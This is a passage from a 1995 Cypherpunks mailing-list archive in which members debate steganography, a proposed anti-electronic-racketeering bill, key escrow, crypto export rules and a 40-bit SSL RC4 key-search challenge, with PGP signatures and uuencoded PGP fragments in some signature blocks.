iQCVAwUBMAVlCG1lp8bpvW01AQEkAgP/doDZKY1TKgBJPy7ame16kbqU0F+BOfl/
wuIkpnsnsoyyV6Fi7KzHPLGsZU+uuMjdxLyOhtmvswKAfq6XU68GTfHuCCImiE8D
6RuaPWkn+eAQmVhXrbmf2ykZwWrnLZ4sT12eyNQjKoavuxTgFPGFqbvIASnIwe/E
OLBNyviUOSA=
=M7wP
- -----END PGP SIGNATURE-----

- ---
[This message has been signed by an auto-signing service.  A valid signature
means only that it has been received at the address corresponding to the
signature and forwarded.]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Gratis auto-signing service

iQBFAwUBMAV0pSoZzwIn1bdtAQFPDgGAu5kR4N1OlOm++LZZX4AAraYFbcgwhRiq
qN7x31Enfv4Gaocg0m4TmB4YYdJxyzht
=WV8f
-----END PGP SIGNATURE-----





From jlasser at rwd.goucher.edu  Thu Jul 13 12:37:18 1995
From: jlasser at rwd.goucher.edu (Jon Lasser)
Date: Thu, 13 Jul 95 12:37:18 PDT
Subject: def'n of "computer network"
In-Reply-To: <9507131927.AA12842@snark.imsi.com>
Message-ID: <Pine.SUN.3.91.950713152622.22564A-100000@rwd.goucher.edu>


On Thu, 13 Jul 1995, Perry E. Metzger wrote:

> Jon Lasser writes:
> > In addition, now is the time to deploy stego, on a massive scale.
> 
> I've said it before, and I'll say it again.
> 
> My opinion is that stegonography "standards" are useless. Anyone can
> try unpeeling the GIFs and see if something interesting shows up
> inside. That means that the only useful stego suffers from the defect
> that symmetric key cryptography suffers from -- you have to have made
> serious pre-arrangements with the counterparty.

True, in that sense it's useless.  But if it's PGP'd with a sufficient 
key, nobody can read it.  If it's from a well-overused guest account, 
nobody can find who sent it.  If the picture's not preceded with an 
identification of the intended recipient, and is posted in a public 
forum, then nobody knows who it's for.  Especially if everyone has to 
read it in order to find out if it's for them.

If PGP 3.0 has some sort of option to decrypt messages without PGP 
headers or footers, then the issue ceases to be relevant. Because you've 
stego'd already random-seeming material.  If the stego program is 
integrated with PGP properly, you have public key stegonography.

It's possible; just that somebody's gotta write the damned software.  And 
I'm certainly not capable to do that.  Yet.

Jon
------------------------------------------------------------------------------
Jon Lasser                <jlasser at rwd.goucher.edu>            (410) 494-3253 
          Visit my home page at http://www.goucher.edu/~jlasser/
  You have a friend at the NSA: Big Brother is watching. Finger for PGP key.







From hfinney at shell.portal.com  Thu Jul 13 12:46:37 1995
From: hfinney at shell.portal.com (Hal)
Date: Thu, 13 Jul 95 12:46:37 PDT
Subject: SSL RC4 challenge
Message-ID: <199507131945.MAA02875@jobe.shell.portal.com>


From: Hal <hfinney at shell.portal.com>
> Here is a challenge to try breaking SSL using the default exportable
> encryption mode, 40-bit RC4.
> [...]

It has been pointed out to me that I made a mistake in my analysis of the
SSL packets.  The MAC at the beginning of the encrypted packets is itself
RC4 encrypted.  That means that the 17 bytes of known plaintext start 16
bytes into the stream, not at the beginning as I thought.  This just
means that after key setup, RC4 has to be cycled 16 times before we start
comparing its output with the XOR of the known plaintext and ciphertext.

I'll produce a revision of my "challenge".  If no other mistakes are
found I'll post it to sci.crypt.

Hal





From perry at imsi.com  Thu Jul 13 12:46:51 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 12:46:51 PDT
Subject: def'n of "computer network"
In-Reply-To: <Pine.SUN.3.91.950713152622.22564A-100000@rwd.goucher.edu>
Message-ID: <9507131946.AA12904@snark.imsi.com>



Although I hardly oppose the construction of "headerless"
cryptographic protocols, they make key management in any sort of a
reasonable system a living hell. If you work for an organization
maintaining a reasonable number of keys -- say a few hundred at some
institution -- you will have to linearly search them to find which one
is the right one. What a royal pain.

Rapid deployment in ordinary software is, of course, preferable.

Perry





From jburrell at crl.com  Thu Jul 13 12:50:11 1995
From: jburrell at crl.com (Jason Burrell)
Date: Thu, 13 Jul 95 12:50:11 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <Pine.SOL.3.91.950712171632.1850A-100000@use.usit.net>
Message-ID: <Pine.LNX.3.91.950713142925.110D-100000@crl.com>


On Wed, 12 Jul 1995, Brad Dolan wrote:

> ---------- Forwarded message ----------
> Date: Wed, 12 Jul 1995 15:28:25 -0400
> Subject: Anti-Electronic Racketeering Act of 1995
> 
> 
> On June 27, Sen. Grassley introduced extensive criminal amendments to the
> federal racketeering act.  S. 974, the "Anti-Electronic Racketeering Act of
> 1995," would amend U.S. Code sections 18 USC 1961 (criminal RICO statute),
> 18 USC 1030A (new section on computer crime), 18 USC 2515, 2516
> (wiretapping), and 42 USC 2000aa (Privacy Protection Act).
> 
> This proposed legislation is Very Bad. It would make all encryption
> software posted to computer networks that are accessible to foreigners
> illegal *regardless of whether the NSA has classified the software as a
> munition!!!*  Here's the language:
> 
>  "Sec. 1030A.  Racketeering-related crimes involving computers
>    "(a) It shall be unlawful--
> 
> . . .
> 
>       "(2) to distribute computer software that encodes or encrypts
>     electronic or digital communications to computer networks that the
>     person distributing knows, or reasonably should know, is accessible to
>     foreign nationals and foreign governments, regardless of whether such
>     software has been designated nonexportable."

en-code (inkoud) pres. part. en-cod-ing past and past part. en-cod-ed to put
into code

code (koud) 1. n. a collection of statutes, rules, etc. methodically arranged
|| an accepted way of signals, Morse code || a system in which arbitrary
values are given to letters, words, numbers or symbols to ensure secrecy or
brevity (cf. CIPHER) 2. v.t. pres. part. cod-ing past and past part. cod-ed
to put (a message) into code || (genetics) to particularize the genetic code
used in synthesizing [F.]

(Source: New Webster's Dictionary and Thesaurus of the English Language,
1993)

Assuming that this isn't contradicted by other parts of the legislation,
doesn't this outlaw distribution "to computer networks" software for
everything from compression to data structures to TCP/IP to ROT13 to PGP? 

The bad part is that they might "compromise" and, by the time its over 
with, it still outlaws non-GAK crypto. At least when its overly broad it 
has a better chance of getting laughed out of court.

The United States Government *is* this stupid. If you are unfortunate 
enough to live within U.S. borders, welcome to hell. *heavy sigh*

--
PGP public key available via finger.	      
GCS/AT d H- s-: g+ p2+ au+ !a w++ v++(--)>! C++++ UL+++>++++ P++ 
L++>+++ 3- E- N+++ K W--(---) M- V-- po--- Y++ t 5+++ j R+++ G 
tv+ b+>++ D B-- e- u*(**) h* f(+) r(-)@ n--->+++ x? 






From SADLER_C at HOSP.STANFORD.EDU  Thu Jul 13 12:51:38 1995
From: SADLER_C at HOSP.STANFORD.EDU (Connie Sadler)
Date: Thu, 13 Jul 95 12:51:38 PDT
Subject: Crisis Overload (re Electronic Racketeering)
Message-ID: <B332ZVVSI9JDN*SADLER_C@SHS.STANFORD.EDU>



Subject: Re: Crisis Overload (re Electronic Racketeering)
Date: Thu, 13 Jul 1995 12:27:18 PDT
A1-type: DOCUMENT
Importance: normal


>On July 13, 1995, Robert Hayden said:

>Unfortunately, a system of social engineering needs to be adopted to get 
>massive use of cryptography started.  This means, and I advocated this 
>from the day I entered this forum, that programs such as PGP need to be 
>redesigned so that the a user friendly . . . so user friendly that any 
>Joe Moron can figure out not only how to use them, but also how it helps 
>them and how it is "good" for them.  This means that we need simplified 
>key management easy enough for the point-and-click masses to utilize.  
>...

>Unfortuately, all I can do is stand on the sidelines and cheer, because I 
>am not a programmer; I'm a user and a teacher.

Well put! I agree wholeheartedly! I have friends who are mostly teachers and
writers who are interested in encryption from what I've told them, but their
computer knowledge is pretty much limited to their word processors. A good
user interface would do wonders for spreading the use of PGP. Unfortunately
I am not a programmer either, but I am being motivated to become one. If
only there was more time...

Connie





From jlasser at rwd.goucher.edu  Thu Jul 13 12:53:53 1995
From: jlasser at rwd.goucher.edu (Jon Lasser)
Date: Thu, 13 Jul 95 12:53:53 PDT
Subject: def'n of "computer network"
In-Reply-To: <9507131946.AA12904@snark.imsi.com>
Message-ID: <Pine.SUN.3.91.950713154546.22974A-100000@rwd.goucher.edu>


On Thu, 13 Jul 1995, Perry E. Metzger wrote:

> Although I hardly oppose the construction of "headerless"
> cryptographic protocols, they make key management in any sort of a
> reasonable system a living hell. If you work for an organization
> maintaining a reasonable number of keys -- say a few hundred at some
> institution -- you will have to linearly search them to find which one
> is the right one. What a royal pain.

Hmmm.  no arguement.  But seeing as it might all soon be illegal, I'd 
rather it be a possible pain than just plain impossible.

> Rapid deployment in ordinary software is, of course, preferable.

It would seem that we may be approaching the criminalization of crypto.  
In which case we'd still be in trouble.  Because they might criminalize 
the /use/ of crypto.

Jon
------------------------------------------------------------------------------
Jon Lasser                <jlasser at rwd.goucher.edu>            (410) 494-3253 
          Visit my home page at http://www.goucher.edu/~jlasser/
  You have a friend at the NSA: Big Brother is watching. Finger for PGP key.






From adam at bwh.harvard.edu  Thu Jul 13 12:54:12 1995
From: adam at bwh.harvard.edu (Adam Shostack)
Date: Thu, 13 Jul 95 12:54:12 PDT
Subject: def'n of "computer network"
In-Reply-To: <9507131927.AA12842@snark.imsi.com>
Message-ID: <199507131950.PAA08076@spl.bwh.harvard.edu>


Perry writes:

| > In addition, now is the time to deploy stego, on a massive scale.
| 
| I've said it before, and I'll say it again.
| 
| My opinion is that stegonography "standards" are useless. Anyone can
| try unpeeling the GIFs and see if something interesting shows up
| inside. That means that the only useful stego suffers from the defect
| that symmetric key cryptography suffers from -- you have to have made
| serious pre-arrangements with the counterparty.

	While you may be right that a standard for stego in part
defeats the purpose of stego, the problem of not having some sort of
standard means that people with non-standard platforms (for some
definition of non-standard) will be shut out.

	Standards for interaction are useful, and if the thing being
stego'd is stealth PGP'd, then I'm not sure that the data pulled out
of a stego'd GIF need be any different than noise.

Adam


-- 
"It is seldom that liberty          I Support The Phil
of any kind is lost all at     Zimmermann legal defense fund
once."               -Hume    http://www.netresponse.com/zldf

------------------ PGP.ZIP Part [001/713] -------------------
M4$L#!!0````(`">9ZQX3(*,_DG8!`-JF`P`'````4$=0+D581>S;=UQ3U__X
M\9M!$E8,TT at PJ$10$1=*41%WW`KX$=Q[M5KK`&R%(HH+(T.M"S>NME8K=31N
M:A$[K+5(K:O5BE405ZE:1"3?UTW`:K_]\/G\?O_^?CX>3^_-S;GGO,^\`^@W
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/





From perry at imsi.com  Thu Jul 13 12:59:49 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 12:59:49 PDT
Subject: laws....
In-Reply-To: <Pine.SUN.3.91.950713154546.22974A-100000@rwd.goucher.edu>
Message-ID: <9507131959.AA12939@snark.imsi.com>



By the way, I'm really sick of the naming schemes on these laws. Its
only a matter of time before some 1984ish wag creates the "Omnibus
Universal Love and Happiness Act of 1998" providing the death penalty
for possessing trace quantities of marijuana or some such. The
Orwellian names on some of these bills are simply astounding.

Perry





From bdolan at use.usit.net  Thu Jul 13 13:12:18 1995
From: bdolan at use.usit.net (Brad Dolan)
Date: Thu, 13 Jul 95 13:12:18 PDT
Subject: mistake on my part
In-Reply-To: <22250.9507131850@exe.dcs.exeter.ac.uk>
Message-ID: <Pine.SOL.3.91.950713160218.27008G-100000@use.usit.net>




On Thu, 13 Jul 1995 aba at atlas.ex.ac.uk wrote:

> 
> Perry Metzger <perry at imsi.com> writes on cpunks:
> > I made a small mistake -- the new bill does *not* make it a crime to
> > make crypto software available at Egghead -- but it does more or
> > less make distribution of crypto software over the internet
> > impossible if it isn't an escrow based system.
> 
> I thought there was some kind of "read my lips" type statement about
> not mandating key escrow a short while ago.  Making it illegal to not
> use escrow on the internet (in the US and certain materials) sounds
> dangerously close to mandating key escrow.
> 
> Also I remember one list member making a prediction, that as they'd
> said _definately no key escrow_, that you could bet your ass that
> meant exactly the opposite, and that it would rear it's head anytime
> soon.  I think the poster even had a prediction in terms of months,
> but don't have the original post handy, looks like he was right.
> 
> Anyway these things are in stages:
> 
> 1. voluntary key escrow
> 2. mandatory key escrow for certain materials
> 3. mandatory key escrow across the board
> 
> If they pull this off stage 2, I wonder how long till stage 3, I think
> it'll be time to leave the sinking ship while exit visas are still
> granted!

Seriously!

Looking for a place that:

(1.) is reasonably free

(2.) permits Americans to work

(3.) a person trained as an engineer can earn enough to feed and shelter
     self and 4 dependents.

Any suggestions?


> 
> Adam
> --
> ------------------ PGP.ZIP Part [025/713] -------------------
> M83PL=@FR8ES%:6Q"(F9A#)K!&_;X4TXZ?(T]6(]`>$*.^]3K*K["(239)\@F
> MHA\"<%"5(%N->/2!'>X3XPU<0!Y,F``58RK(F;K#XD2,^`F[L09CT1>MH,7/
> MC at FR+[`#J_`.6J`QW&"'YPZ4A[,XC10,0@\T1R.H\52,%3N1CI\TY('#M1)D
> -------------------------------------------------------------
> for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/
> 
> 





From pgf at tyrell.net  Thu Jul 13 13:14:00 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Thu, 13 Jul 95 13:14:00 PDT
Subject: The end of public key cryptography as we know it?
In-Reply-To: <199507131846.NAA06768@netman.eng.auburn.edu>
Message-ID: <199507132009.AA15283@tyrell.net>


   From: Doug Hughes <Doug.Hughes at eng.auburn.edu>
   Date: Thu, 13 Jul 1995 13:46:10 -0500

   An article posted on sci.crypt stated that quantum factoring
   is real and that an article was posted in this month's Science
   magazine. The author of the post says this would make factoring
   a 10 bit number the same time as factoring a 100000000 bit number.

You can bet your ass and your mother's and grandmother's donatable
organs that if this were possible, then the legislative initiatives
currently underway would not be: they'd just let us use RSA and get
a false sense of security.

   A wonder how long it is before every major government in the world
   has one of these. Makes RSA's future kind of moot doesn't it??

Well, it would probably "prove" many-worlds right: in which case
we're probably going to be invaded from the one where the Nazis
won WWII, or the libertarians won Shay's Rebellion.






From perry at imsi.com  Thu Jul 13 13:51:40 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 13:51:40 PDT
Subject: co-sponsors
Message-ID: <9507132051.AA13247@webster.imsi.com>


I searched Thomas and couldn't find any evidence of co-sponsors to the
Senate bill. Am I wrong here?

.pm





From tbird at eagle.wbm.ca  Thu Jul 13 14:00:06 1995
From: tbird at eagle.wbm.ca (Kevin Stumborg)
Date: Thu, 13 Jul 95 14:00:06 PDT
Subject: No Subject
Message-ID: <199507132100.PAA14248@eagle.wbm.ca>


send me mail






From sunder at escape.com  Thu Jul 13 14:00:59 1995
From: sunder at escape.com (Ray Arachelian)
Date: Thu, 13 Jul 95 14:00:59 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <9507131059.AA20485@cs.umass.edu>
Message-ID: <Pine.SUN.3.91.950713163526.25718G-100000@escape.com>


On Thu, 13 Jul 1995, L. McCarthy wrote:

> STATEMENTS ON INTRODUCED BILLS AND JOINT RESOLUTIONS (Senate - June
> 27, 1995) 
> Sen. GRASSLEY
> 
> Mr. GRASSLEY. Mr. President, I rise this evening to introduce the
> Anti-electronic Racketeering Act of 1995. This bill makes important changes
> to RICO and criminalizes deliberately using computer technology to engage in
> criminal activity. I believe this bill is a reasonable, measured and strong
> response to a growing problem. According to the computer emergency and
> response team at Carnegie-Mellon University, during 1994, about 40,000
> computer users were attacked. Virus hacker, the FBI's national computer
> crime squad has investigated over 200 cases since 1991. So, computer crime is
> clearly on the rise.

Eh, what do "virus hackers" have to do with encryption, why is it these 
morons justify the destruction of encryption by mentioning hackers and 
viruses?

Additionally, does this mean that someone outside of the USA is in danger 
of being grabbed by RICO armed thugs from Uncle Sam's cadre for writing 
crypto software and publishing it in the open?  After all, once it winds 
up on some USA site, how do we know that someone outside the USA got his 
copy of SuperDuperNSASpookFree from a non-US site?  Just to be sure, 
we'll bust both the site operator and nab the guy who wrote it next time 
he drops in, or hell, we'll have him extradited.


> Mr. President, I suppose that some of this is just natural. Whenever man
> develops a new technology, that technology will be abused by some. And that
> is why I have introduced this bill. 

Yes, whenever man develops a privacy increasing technoloy, the spooks 
will see to it, that they abuse everyone's rights to that privacy, and 
then some!

> I believe we need to seriously reconsider
> the Federal Criminal Code with an eye toward modernizing existing statutes
> and creating new ones. In other words, Mr. President, Elliot Ness needs to
> meet the Internet.

Where is Elliot Ness?  I don't see any mafia.org on the net.  Anyone here 
see any such site?

> Mr. President, I sit on the Board of the Office of Technology Assessment.
> That Office has clearly indicated that organized crime has entered cyberspace
> in a big way. International drug cartels use computers to launder drug money
> and terrorists like the Oklahoma City bombers use computers to conspire to
> commit crimes.
Was it not proven that McVeigh and Co. >DID NOT< use a computer?  THe AOL 
account was a hoax, no?  Where are the hoardes of anti-USA terrorists, 
and drug pushers on the net?  Certainly, I see no drugs.com site... web, 
ftp, email, usenet or otherwise.

> << I haven't heard much to suggest that McVeigh was using a
> << computer for anything, but we all saw this line coming, right ?
> << 3 of Tim's 4 Horsemen of the Infocalypse figure prominently here; I guess
> << Exon & Gorton have ridden off after the fourth already....

Ditto above.

> Computer fraud accounts for the loss of millions of dollars per year. And
> often times, there is little that can be done about this because the computer
> used to commit the crimes is located overseas. So, under my bill, overseas
> computer users who employ their computers to commit fraud in the United
> States would be fully subject to the Federal criminal laws. 

Yeah, so, why blame citizen units in the USA for actions outsiders 
committed.?  Why limit the spread and use of cryptographically strong 
tools from being developed in the USA?

If Joe Badguysky breaks into your house and steals your copy of PGP, then 
exports it to his fatherland, should I arrest you for that?  What if he 
breaks into your store and steals a copy off the shelf and exports it?  

Why punish the victim?

> It is not enough to simply modernize the Criminal Code. We also
> have to reconsider many of the difficult procedural burdens that prosecutors
> must overcome. For instance, in the typical case, prosecutors must identify a
> location in order to get a wiretapping order. But in cyberspace, it is often
> impossible to determine the location. And so my bill corrects that so that if
> prosecutors cannot, with the exercise of effort, give the court a location, then
> those prosecutors can still get a wiretapping order. 

Oh, the poor poor LEA's.  If they can't prove you're guilty (because you 
aren't, and there is no proof because you aren't,) let them throw you in 
jail anyway.

> << All together now: "TRUST US"
> 
> Mr. President, this brave new world of electronic communications and global
> computer networks holds much promise. But like almost anything, there is the
> potential for abuse and harm. That is why I urge my colleagues to support
> this bill and that is why I urge industry to support this bill.

And this type of bill is where the potential for abuse and harm arises.  
The harm of course is to those who will be thrown in jail for wanting 
privacy.

> On a final note, I would say that we should not be too scared of
> technology. 

Gee, who is scared?  Don't be scared, be Big Brother. :-(

> After all, we are still just people and right is still right and
> wrong is still wrong. Some things change and some things do not. 

Circular reasonings and politician's spewing?  I can see th masses 
applauding this... all wearing PJ's and bearing shaved heads watching Big 
Brother on the screen infront of them...

> All that
> my bill does is say you can't use computers to steal, to threaten others or
> conceal criminal conduct.
> 
> << Ah, if that's all it does, why not scrap the whole thing and not waste
> << the Senate's valuable time ?  After all, stealing, threatening, and
> << concealing criminal conduct are already outlawed....

So, what countries are left free of encryption regulations? (English 
speaking preffered, with affordable net access.)  Time to see about 
getting a new passport...


=================================================================93=======
 + ^ + |  Ray Arachelian | Amerika: The land of the Freeh. | \-_    _-/  |
  \|/  |sunder at escape.com| Where day by day, yet another   |  \  --  /   |
<--+-->|                 | Constitutional right vanishes.  |6 _\-  -/_  6|
  /|\  |    Just Say     |                                 |----\  /---- | 
 + v + | "No" to the NSA!| Jail the censor, not the author!|     \/      |
=======/---------------------------------------------------------VI------/
      /  I watched and weeped as the Exon bill passed, knowing that yet /
     / another freedom vanished before my eyes.  How soon before we see/
    /a full scale dictatorship in the name of decency? While the rest /
   /of_the_world_fights_FOR_freedom,_our_gov'ment_fights_our_freedom_/






From vznuri at netcom.com  Thu Jul 13 14:02:33 1995
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Thu, 13 Jul 95 14:02:33 PDT
Subject: speeding detected by civilians
Message-ID: <199507132101.OAA27319@netcom12.netcom.com>


hate to start another endless thread on speeding limits, but
this is an interesting privacy anecdote... hope this hasn't
been posted here.


===

From: "Steven M. Horvath" <horvath at comm.mot.com>
Subject: Speeder's Beware of Vernon Hills, IL.
To: snet-l <snet-l at world.std.com>

- - -------- FYI------------------FYI--------------------FYI-----------------

Vernon Hills, IL.

Vernon Hills, Illinois, a Chicago suburb, has passed legislation allowing 
citizens to check out radar guns from the local police department to 
catch speeders in their community. The radar guns are combined with 
cameras in order to instantaneously capture the car, license number, and the 
rate of speed. The citizens can check out the units for a week at a time. The 
police have stated that they, at this time, will use the data to issue 
warning letters to the violaters.






- ------- End of Forwarded Message


------- End of Forwarded Message






From perry at imsi.com  Thu Jul 13 14:02:38 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Thu, 13 Jul 95 14:02:38 PDT
Subject: HR361
Message-ID: <9507132102.AA13309@webster.imsi.com>


Has anyone previously noted that HR361, the omnibus export
administration act, would require the administration to assess the
impact of the current crypto export controls on the software industry?

.pm






From jfmesq at ibm.net  Thu Jul 13 14:18:17 1995
From: jfmesq at ibm.net (James F. Marshall)
Date: Thu, 13 Jul 95 14:18:17 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <199507132116.VAA149322@smtp-gw01.ny.us.ibm.net>


-----BEGIN PGP SIGNED MESSAGE-----

>In the subsection that explicitly mentions crypto, it says that it's
>unlawful to put (non-GAK) crypto on an open net, "regardless of 
>whether such software has been designated non-exportable". If the 
>phrase "nonexportable" means the same thing in the context of this 
>subsection, then provision (b) would only seem to apply RICO to stuff 
>that already falls under ITAR.

Pardon me if I misunderstood your point.  I haven't read the whole
bill, but I read the "regardless" phrase with a different emphasis. 
In short, that language appears to mean that one could be pounded with
RICO for uploading crypto software even if the crypto is EXPORTABLE.

The part about subsequent instances of actual access to non-exportable
crypto by foreigners, etc. appears to address a different situation --
the situation where the crypto is non-exportable.  In this different
and much more "defiant" situation, the language would allow the feds
to count predicate acts, not merely according to the actual instances
of uploading activity, but also according to the number of times the
crypto is downloaded by foreigners, etc.  Perhaps a 10,000 to 1 ratio?

It is unclear, not having read the entire bill, whether the onerous
provision in the case of non-exportable crypto would apply in the case
of exportable crypto.  Perhaps our resident federal prosecutor might
volunteer some insights into how the government might prove thousands
of predicate acts, and thus a huge pattern of racketeering activity, 
as a result of a defendant uploading non-exportable crypto once to one
site, and how the government might argue that uploading exportable 
crypto once to one known mirrored site (e.g., hobbes) would constitute
uploads to all the mirrors -- i.e., multiple predicate acts.

This email is academic speculation.  This email is not legal advice,
is not a consultation with counsel, and does not create an attorney-
client relationship.  (As a condition of entering into an attorney-
client relationship, I require a formal, ink-signed fee agreement.)

- --Jim


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAVmsEK9bzU1tDCZAQGOcAP/StGc/+/sbRCZLRJTwnhMGtda3Z7tYQ6G
QhllCCwGZ0gddwtCmH98hQaQLAbGaFyaUd4SroM3bj3/NXX2xFucnY9ogPN2LHS9
9MZ/RzBO33iVjl/F0fHAIJiCnGCkHM58Gftgtg7gyOKCs+wBkJNQgOxsuuxw2rSs
/nlYAv+ukN8=
=wCJA
-----END PGP SIGNATURE-----






From gate at id.WING.NET  Thu Jul 13 14:25:50 1995
From: gate at id.WING.NET (The Gate)
Date: Thu, 13 Jul 95 14:25:50 PDT
Subject: laws....
In-Reply-To: <9507131959.AA12939@snark.imsi.com>
Message-ID: <Pine.3.89.9507131752.D28886-0100000@dialin1.wing.net>



	Yeah I know what you mean. Like, it's gonna be, bust down your 
fuckin' door and some goon's gonna go, do you have a floppy disk in here?

			Lee.

On Thu, 13 Jul 1995, Perry E. Metzger wrote:

> 
> By the way, I'm really sick of the naming schemes on these laws. Its
> only a matter of time before some 1984ish wag creates the "Omnibus
> Universal Love and Happiness Act of 1998" providing the death penalty
> for possessing trace quantities of marijuana or some such. The
> Orwellian names on some of these bills are simply astounding.
> 
> Perry
> 

------------------------------------------------------------------------------
			     R. Leland Lehrman
			Phone: (203) 777-1827
	  God, Art, Technology and Ecology Research and Development







From gate at id.WING.NET  Thu Jul 13 14:35:38 1995
From: gate at id.WING.NET (The Gate)
Date: Thu, 13 Jul 95 14:35:38 PDT
Subject: Mr. Newbie...
In-Reply-To: <Pine.SOL.3.91.950713160218.27008G-100000@use.usit.net>
Message-ID: <Pine.3.89.9507131729.E28886-0100000@dialin1.wing.net>



	Okay folks, here comes Mr. Newbie.

	Duh...How can I figure out how to use pgp. Is there a good place 
to learn the background and basics in a step-by-step easy to understnad 
way? Duh... I think I wanna know...

------------------------------------------------------------------------------
			     R. Leland Lehrman
			Phone: (203) 777-1827
	  God, Art, Technology and Ecology Research and Development







From gorkab at sanchez.com  Thu Jul 13 14:40:22 1995
From: gorkab at sanchez.com (It's supposed to crash like that.)
Date: Thu, 13 Jul 95 14:40:22 PDT
Subject: Encryption and ITAR
Message-ID: <009934CEC4F49140.000004E7@sanchez.com>


Anyone know how far ITAR reaches?  Is there a list of programs that are illegal
to take from america anywhere else?  My company does a LOT of buisness (80%)
outside the US, and I wonder if they are maybe pissing off the NSA or somthing
with some software they take with them.  (a DES encrypter, and some other
encryption stuff)





From cman at communities.com  Thu Jul 13 14:42:16 1995
From: cman at communities.com (Douglas Barnes)
Date: Thu, 13 Jul 95 14:42:16 PDT
Subject: Fight, or Roll Over?
Message-ID: <v02120d19ac2aa1f17f4f@[199.2.22.120]>



Since the Anti-Electronic Racketeering Act of 1995 might as well
be called the "Anti-Cypherpunk Act of 1995", I'm surprised to see
Tim throw in the towel already, when the bill hasn't even made it
through committee yet.

Not that I place a lot of faith in our elected officials, but this
bill seems to step on so many toes, and to be so plainly idiotic,
that we are bound to get some support from unexpected quarters.
Nothing surprised me more, in fact, than all the mainstream IS
magazines (like Information Week) denouncing the Exon ammendment.

This, though, is a much more subtle and insidious bill, and takes away
something that most people don't even know they want yet.
(The Exon ammendment, on the other hand, could have been dubbed,
"The Cypherpunk Market-Creation Act of 1995.") Nevertheless,
it is certainly possible to fight this bill and win, while at
the same time, preparing to go underground if it passes.

Go underground? Well, as I read it, this bill basically makes
cypherpunks a "corrupt organization", subject to the full
impact of the RICO statutes. With the passage of this bill, we
will have the same status in the US as the neo-Nazis have in
Germany, and will have to adopt similar communications and
organization techniques. Who knows, maybe this is the best thing
that could happen, although I'm real curious about who will
back off to protect their ass-ets and who will actually keep
on chugging towards crypto anarchy.

In the short term, I've renewed or started memberships in the
organizations that are likely to fight this -- but I'm also
fired up to get more easy-to-use software out there, and
do what I can to help build infrastructure that can resist this
sort of nonsense.







From jshekter at alias.com  Thu Jul 13 14:46:17 1995
From: jshekter at alias.com (Jonathan Shekter)
Date: Thu, 13 Jul 95 14:46:17 PDT
Subject: SSL RC4 challenge
Message-ID: <9507131745.ZM12634@lennon.alias.com>


Quoth tedwards at src.umd.edu:
>On Wed, 12 Jul 1995, alex wrote:
>> Can't we hold off a few weeks on this, so that we can all short the stock
>> once it's been offered? <g>
>
>Hmm...well, considering we have yet to break the first 40-bit RC4 key
>(with 87.1 of the keyspace searched), I think it might be a bit early to
>make financial decisions based on our cracking abilities.


	Yes, but it is highly unlikely we have a valid plaintext/cyphertext
pair. Since the format of SSL is known precisely, we won't have this problem.

	But, yes, let's break the example SSL transaction first.

	- Jonathan

-- 
    ____________________________________________________
   /   Jonathan Shekter   /                            /
  /   Graphics Hack      /   "Probability alone       /
 /  Alias/Wavefront     /   dictates that I exist"   /
/______________________/____________________________/





From sryan at reading.com  Thu Jul 13 14:56:14 1995
From: sryan at reading.com (steven ryan)
Date: Thu, 13 Jul 95 14:56:14 PDT
Subject: private idaho
Message-ID: <199507132155.RAA15645@zork.tiac.net>


I am trying to run Private Idaho. I tried the 2.1 version as well as the new
beta version. I have all the files in the same directory as PGP. When I
create a message and select clear sign it spawns a dos box that is all black
with the cursor in the top left corner. If I hit return it closes the box
and gives the following message:

File not found in the sign routine, couldn't create output file.

Any ideas on what might cause this or pointers to additional information
would be welcome.
Steven Ryan
sryan at reading.com






From sandfort at crl.com  Thu Jul 13 14:57:46 1995
From: sandfort at crl.com (Sandy Sandfort)
Date: Thu, 13 Jul 95 14:57:46 PDT
Subject: Crisis Overload (re Electronic Racketeering)
In-Reply-To: <9507131924.AA12834@snark.imsi.com>
Message-ID: <Pine.SUN.3.91.950713143406.17575A-100000@crl8.crl.com>


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 13 Jul 1995, Perry E. Metzger wrote:

> As unpleasant as the congress is, it isn't the enemy. The governmental
> forces desiring control are not the same as the congress.

I'm not so sure.  Both politicos and bureaucrats go into their
respective lines of work for many reasons.  One of the main 
reasons--in my opinion--is a lust to control others.  Being the 
"others," we should resist this tendancy.  This begins with the
realization that most of them *are* the enemy and acting 
accordingly.

> This is not to say that we shouldn't be widely deploying crypto -- we
> should. (Of course, offshore sites will always have crypto available,
> but...) 

Yes, what we really need is easy, drop-in, point-and-click PGP
for the computer neophytes.  And we need to give it away to
all of them.  I wish I know how to accomplish all that.

My "wish list" also includes a fantasy in which someone 
(hopefully, a Cypherpunk) cracks some NSA developed, secret
algorithm, crypto system, preferably causing some sycophantic
company or organization to lose a bundle.  Ah, dreams.


 S a n d y

P.S.  My 84 year old mother went in to buy a refrigerator 
      from Sears or Monkey Wards or whomever.  She picked 
      out a top-of-the-line Tappan.  However, when she was 
      getting ready to pay, the salesperson began to ask
      her a series of questions which included her age and
      social security number.  My mom said, "Just stop
      right there.  If you want to ask all this personal 
      information, I'll just buy it somewhere else."  The
      stopped asking questions and took her check.  

      I think Nancy Reagan had a good idea there.  Just 
      say `NO'.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From sandfort at crl.com  Thu Jul 13 15:06:49 1995
From: sandfort at crl.com (Sandy Sandfort)
Date: Thu, 13 Jul 95 15:06:49 PDT
Subject: speeding detected by civilians
In-Reply-To: <199507132101.OAA27319@netcom12.netcom.com>
